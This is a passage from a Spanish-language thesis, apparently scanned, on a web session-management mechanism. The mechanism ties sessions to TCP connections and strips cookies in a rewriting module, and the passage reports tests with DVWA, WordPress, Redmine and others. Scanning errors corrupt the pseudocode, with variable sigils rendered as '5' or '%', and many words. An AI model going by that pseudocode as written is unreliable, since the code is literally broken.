# Extraer cookies previamente asociadas para el socket TCP
# utilizado para identificar al usuario.

Sold_cookies = '';

abrir_conexidén_a DB(Sdb);
extraer_cokies_asociadas(5db,%ip,5port,%old_cookies);
cerrar_conexion_a DB(5db);

# Actualizar las cookies almacenadas con las registradas en
# la respuesta HTTP.

abrir_conexidn_a_DB(5db);
actualizar_cookies(%$db,5ip,$port,@new_cookies,$o0ld_cookies);
cerrar_conexion_a DB(5db);

Figura 7.3: Rutina de atencién de respuestas HTTP

resultado de esto, la aplicacién web recibe requerimientos HTTP con
las cookies de sesiéon que le permiten identificar al usuario como si

estuviese utilizando el actual mecanismo de manejo de sesiones.

7.1.2.2 Atencién de respuestas

En la figura 7.3 se muestra el pseudocddigo de la funcién que procesa las
respuestas HTTP de las respuestas HI'TP de las aplicaciones web antes de
que éstas sean enviadas a los usuarios. Para cada una de las respuestas
HTTP enviadas por las aplicaciones web, el médulo de re-escritura y filtrado
realiza las siguientes acciones:

= Consulta y elimina la informacién de cookies de la respuesta HTTP.

= En caso que se envien nuevas cookies o se modifiquen cookies existen-
tes, se registran los cambios observados en la respuesta HTTP inter-
ceptada.

7.2 PRUEBAS Y RESULTADOS

La prueba de concepto con la que se implementé el mecanismo propuesto,
fue utilizada exitosamente con las aplicaciones web mostradas en el cuadro

1. De estas aplicaciones, DVWA, fue seleccionada porque estd disefiada de
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| Aplicacién [ Versién | Lenguaje de programacién

DVWA 1.0.7 PHP
MediaWiki[45] | 1.20.4 PHP
Wordpress[82] 3.5.1 PHP

Redmine[62] 2.3.1 Ruby on Rails
Mailman([32] 2.1.15 Python + C
Meran[71] 0.9.4 Perl

Cuadro 1: Aplicaciones evaluadas

manera vulnerable para realizar distintos tipos de pruebas de seguridad,
incluyendo las descriptas en el capitulo “Ataque a Sesiones HTTP”. Con
DVWA se pudo confirmar lo que se presumia. Vulnerabilidades como XSS y
otras relacionadas al manejo inadecuado de sesiones no afectan la seguridad
de las sesiones de usuario cuando la aplicacién web utiliza el mecanismo

propuesto.

El resto de las aplicaciones, fue seleccionada con el objeto de mostrar la
independencia del mecanismo propuesto frente a la heterogeneidad de los
lenguajes de programacioén utilizados por las diferentes aplicaciones web.

7.2.1 Experiencias de uso con las aplicaciones web seleccionadas

Todas las aplicaciones web seleccionadas funcionaron adecuadamente con
el mecanismo propuesto, sin necesidad que las mismas deban ser adaptadas,
a excepcion de la aplicacion DVWA. En DVWA, se hacen referencias a otras

componentes de la aplicacién de la siguiente manera:

<1li onclick="window.location=’...site here.../.?page=include.php’" class>
<a href="...site here.../.?page=include.php">File Inclusion</a>
</1i>

Esto generaba que cuando se navegaba por el sitio, el navegador abriese una
nueva conexioén y la existente se cerraba abruptamente. Si bien era raro que
exista una referencia utilizando HREF junto a un evento onclick, esto no
deberia provocar el comportamiento observado. Debido a esto, se cambi¢ el

cédigo anterior por el siguiente cédigo:

<1li class>
<a href="...site here.../.?page=include.php">File Inclusion</a>
</1i>

Luego, se corroboré que el cambio realizado no altere la usabilidad ni la
funcionalidad de la aplicaciéon. Posteriormente, se pudo verificar con éxito
el funcionamiento adecuado de DVWA con el mecanismo propuesto.
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7.2.2  Experiencias de uso con el navegador web seleccionado

El principal problema identificado en la fase de experimentacién se rela-
ciona con el navegador web utilizado. Frente a determinadas situaciones el
comportamiento del navegador no era el esperado ya que cerraba la cone-
xién HTTP persistente y abria una nueva. Mas alld que esto es aceptable en
el estdndar actual de HTTP, rompia el mecanismo de manejo de sesiones
propuesto, ya que una nueva conexién implica una nueva sesién web. En
este sentido, en la implementacién del navegador seleccionado, se identifi-
caron diversos problemas relacionados:

= Problemas con cédigo HITML: El problema detectado en la programa-
cién del sitio DVWA, es un problema relacionado a la forma que tiene
el navegador de manejar determinados eventos programados en el c6-
digo HTML.

= Implementacion en Firefox de la combinacién Ctrl-F5: Al intentar esta
combinacién para recargar una pagina sin utilizar informaciéon que
pudiera estar alojada en caché, se ocasionaba el cierre de la conexién
TCP actual y el inicio de una nueva conexién contra el servidor HTTP.
Esto claramente estd relacionado con la implementacién del navegador
utilizado. Se puedo verificar que el navegador Chrome no regeneraba

la conexién cada vez que se ingresaba la secuencia Ctrl-Fs5.

= La caché de los navegadores amenaza con el uso normal de las aplica-
ciones cuando se utiliza el mecanismo propuesto. Una pégina en caché
con informacién obsoleta, podria ser la causa del mal funcionamiento
de toda una aplicacién web. Como se mencioné previamente, la actua-
lizacién de una pagina utilizando la secuencia <Ctrl-F5> va en contra
del mecanismo propuesto. Debido a esto se configur6 el navegador
para que no utilice la caché con la opcién: “network.http.use-cache false”
. De esta manera, fue mds sencilla la realizacién de las pruebas y la

depuracién de los problemas surgidos.

= Problemas frente a respuestas HTTP con cédigo 500: Durante las prue-
bas se comprobé que cuando se recibia un cédigo de error 500 de la
aplicacién web, la conexién se cerraba. Esto no es necesariamente un
problema dado que podria ser bueno cortar la sesién frente a un error
de este tipo. Sin embargo, el usuario estd acostumbrado a ser identifi-
cado por una aplicacién web incluso luego de un error 500.

= Pipeline HTTP y solicitudes pendientes: cuando se generan muchos
requerimientos a la aplicacion web, estos se gestionan de manera se-
cuencial en lo que se conoce como un pipeline. Se observé que al que-
rer realizar muchas acciones, sobre todo en aplicaciones que tienen

un tiempo de respuesta alto como es el caso de Redmine, la conexién
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persistente se cierra abruptamente y se genera una nueva. Esto se ob-
servo como resultado de varios experimentos en los que se realizaron
pruebas en las que el usuario generaba diferentes peticiones, incluso

antes que llegue la respuesta esperada.

= Problemas con transferencia de grandes cantidades de datos: Esto pro-
bablemente esté relacionado con el problema anterior, puesto que se
encontraron problemas al solicitar una pédgina que ocasiona la des-
carga de una gran cantidad de datos desde el servidor. Mds especifi-
camente, la aplicaciéon Meran por defecto tiene una pagina de inicio
configurable que el navegador para descargarla debe emitir 37 solici-
tudes, que suponen un total de 1,6MB. Una de estas solicitudes era la
de una imagen de gran tamafio que provocaba la falla en el pipeline
de requerimientos que el navegador debe realizar. Después de confi-
gurar la aplicacién web, la pagina de inicio requiri6 34 solicitudes por
un total de 319KB. Utilizando la nueva configuracién no se volvié a

manifestar el problema antes descripto.

7.2.3 Conclusiones

Aspectos de rendimiento como ser pipeline, demora en las respuestas o
intercambio de grandes cantidades de datos pueden afectar el mecanismo
propuesto. Algunos aspectos especificos en las aplicaciones web tales como
la encontrada en DVWA deben ser analizados cuidadosamente para cada
aplicacién, aunque en si el problema no necesariamente estd en la aplica-
cién sino en el navegador. La mayoria de los problemas observados, estdn
relacionados con la implementacién especifica de los navegadores web.

Si bien se implementé una prueba de concepto, llevar este tipo de mecanis-
mo a un entorno productivo podria implicar el uso de un navegador especi-
ficamente disefiado para tal fin o que los distintos navegadores contemplen
las dos modalidades de uso para los mecanismos de manejo de sesiones po-
sibles. En este sentido, podria ser adecuado disponer de una extensién en el
protocolo HTTP que permita al servidor notificar al cliente sobre la necesi-
dad de trabajar con el mecanismo propuesto, para lo cual ambos extremos

deberian comprometerse en utilizar una tnica conexién TCP.

Alternativamente, se podria contar con un proxy local, el cual pueda ser
configurado para que sepa con cuadles sitios debe utilizar el mecanismo pro-
puesto, el cual se encargue de intermediar los requerimientos recibidos por
el navegador a través de la tinica conexién TCP que se debe mantener con
el servidor. Este proxy, realizaria las funciones de buffering necesarias para

permitir que el pipeline funcione sin saturaciones.
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Dado que la prueba de concepto realizada funciona con el servidor HTTP
Apache, no pudieron ser evaluadas aplicaciones Java. En este sentido, es
posible utilizar Apache como un proxy reverso el cual permita integrar el
mecanismo propuesto con aplicaciones de este tipo.

En general, como resultado de las pruebas, se verificé que el mecanismo
propuesto es inmune a problemas de seguridad relacionados con vulnerabi-
lidades en el mecanismo de manejo de sesiones asi como también es inmu-
ne a problemas ocasionados por vulnerabilidades de Cross Site Scripting o
XSS. Del mismo modo, el mecanismo propuesto tampoco tiene problemas
de tracking a partir de la utilizacién de cookies de sesion.
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Se ha diseflado y desarrollado un mecanismo de manejo de sesiones que
evita el intercambio de cookies entre los usuarios y una aplicacién web.
El mecanismo desarrollado, es compatible con aplicaciones web existentes
y puede ser utilizado por éstas de manera transparente sin necesidad de

adaptaciones.

El mecanismo propuesto resulté adecuado para determinado tipo de aplica-
ciones web en las que la seguridad es mds importante que la movilidad o
la conexién eterna de los usuarios. Aplicaciones de este tipo podrian ser las
relacionadas con actividades de homebanking por ejemplo.

Aplicaciones de uso masivo como Gmail o Facebook, por otro lado, no se ve-
rian beneficiadas del uso del mecanismo propuesto. La razén de esto es que

se restringiria a los usuarios mds de lo que estas organizaciones quisieran.

En resumen, las aplicaciones web que utilicen el mecanismo propuesto me-
joraran su seguridad y privacidad dado que:

= No se almacenan cookies del lado del cliente ni se transmiten en la red,
lo cual representa una mejora en cuanto a la privacidad de los usua-
rios. Como ya se menciond, esto no evita otros problemas de privaci-
dad puesto que la utilizacién de otras técnicas como las descriptas en
Evercookie[38], HSTS Supercookies[36][2] o Canvas Fingerprinting[48]
podrian ayudar a realizar lo que hoy se resuelve utilizando las cookies.

= El manejo de las sesiones de usuario serfa mucho mas seguro y simple.
No seria necesario aplicar las recomendaciones de OWASP relaciona-

das al manejo de sesiones para que la aplicaciéon no sea vulnerable.

= Distintas vulnerabilidades se volvieron inofensivas con el mecanismo
propuesto para el manejo de sesiones HTTP. Entre las vulnerabilidades

que dejan de tener sentido, se pueden mencionar las siguientes fallas:

e Fallas de tipo XSS (Cross Site Scripting) tanto reflejadas como

almacenadas.
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e Fallas de tipo XST (Cross Site Tracing).

e Fallas de tipo “Autenticacién y Manejo de Sesiones Defectuoso”
como fijacién de sesiones o problemas con la configuracién de
atributos de las cookies.

= El robo de sesiones web sélo serfa posible a través del robo de sesio-
nes TCP. Si bien esto es posible, robar una sesion TCP es mucho mas
complejo para el atacante que lo que supone robar una sesién web a
partir de una cookie robada. Ademas, el uso de protocolos seguros
como HTTPs hace el robo de sesiones TCP précticamente imposible.

CONCLUSIONES

Como resultado de este trabajo se logro:

» Disefiar un mecanismo alternativo para el manejo de sesiones web en
el que no se almacenan cookies del lado del usuario:

e El mecanismo propuesto permite a las aplicaciones implementar
un manejo de sesiones en base al uso de datos de conexion tales
como REMOTE_ADDR y REMOTE_PORT.

e Ademds, para brindar compatibilidad a aplicaciones web pre-
existentes, el mecanismo propuesto incluye un médulo de re-
escritura y filtrado que permite a estas manejar sesiones web uti-
lizando el estandar “HTTP State Management Mechanism”. Cabe
recordar que el estindar “HTTP State Management Mechanism”
implica el intercambio de cookies, lo cual se termina realizando
entre la aplicacién web y el médulo de re-escritura y filtrado en
lugar de hacerse contra el navegador del usuario.

= Implementar una prueba de concepto del mecanismo con la que se
utiliz6 de manera exitosa un conjunto de aplicaciones web basadas en
distintas tecnologias: PHP, Perl, Ruby, C, Python.

= Mejorar la seguridad y la privacidad de las aplicaciones web a partir

del uso del mecanismo de manejo de sesiones propuesto.

= Publicar el mecanismo propuesto y las pruebas realizadas como parte

de un capitulo del libro “Emerging Trends in ICT Security” - ISBN:
978-0-12-411474-6[43].

= Reducir las sugerencias necesarias a tener en cuenta por desarrollado-

res en la programacioén de las aplicaciones web para evitar problemas
de seguridad que puedan permitir el compromiso de las sesiones web
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Figura 8.1: Uso de HTTP/2 por sitios web

de los usuarios. Con el mecanismo propuesto los desarrolladores de-

berian enfocarse en prevenir ataques de CSRF solamente.

= Reducir las sugerencias necesarias a tener en cuenta por administra-
dores en la configuracién del servicio web para evitar problemas de
seguridad que puedan permitir el compromiso de las sesiones web de
los usuarios. Con el mecanismo propuesto los administradores debe-
rian enfocarse en utilizar conexiones seguras o HI'TPs siempre que se

transmitan datos sensibles.

8.2 TRABAJOS FUTUROS

Hay distintas lineas relacionadas con la temética sobre las que se pueden
avanzar en posibles trabajos futuros:

= Evaluacién del mecanismo propuesto con la utilizacién del protocolo
HTTP/2[7]. HTTP/2 se estandariz6 en mayo del 2015 durante el desa-
rrollo de esta tesis. Esta version del protocolo tiene cambios notorios
respecto de la anterior. HTTP/2 tiene mejoras en el pipeline de reque-
rimientos y otras caracteristicas que en principio hacen creer que el
mecanismo propuesto se veria beneficiado con su adopcién.
Sin embargo, de acuerdo a estadisticas realizadas por W3Techs[77] el
porcentaje de sitios web que actualmente utilizan HTTP/2 es del 12 %.
En la figura 8.1 se visualiza el crecimiento de adopcién en el tltimo
afio el cudl atin no resulta significativo respecto del trafico HTTP en

general.

m Del lado del cliente:



8.2 TRABAJOS FUTUROS

e Implementacién de un proxy local HTTP que maneje en forma
transparente el acceso a sitios web que utilicen tanto el mecanis-
mo propuesto como el mecanismo actualmente utilizado. Este ti-
po de solucién seria ideal para evitar configuraciones especificas
en los navegadores de usuario.

e Disefio de un navegador web que funcione tanto con el meca-
nismo propuesto como con el mecanismo actualmente utilizado.
Este navegador, cuando utiliza el mecanismo propuesto podria
incluir el su disefio funcionalidad que ayude a evitar ataques de
CSRF o Clickjacking al no reutilizar conexiones existentes ante

nuevos requerimientos originados desde aplicaciones externas.
= Del lado del servidor:

e Implementacién de un proxy reverso HTTP que permita indepen-
dizar el mecanismo propuesto del servidor web utilizado. Esto
permitiria utilizar el mecanismo propuesto sin obligar al admi-
nistrador del servidor HTTP a utilizar Apache. Ademads, de esta
manera serfa posible utilizar el mecanismo propuesto con aplica-
ciones Java, las cuales funcionan en servidores J2EE como Tomcat
o JBoss.
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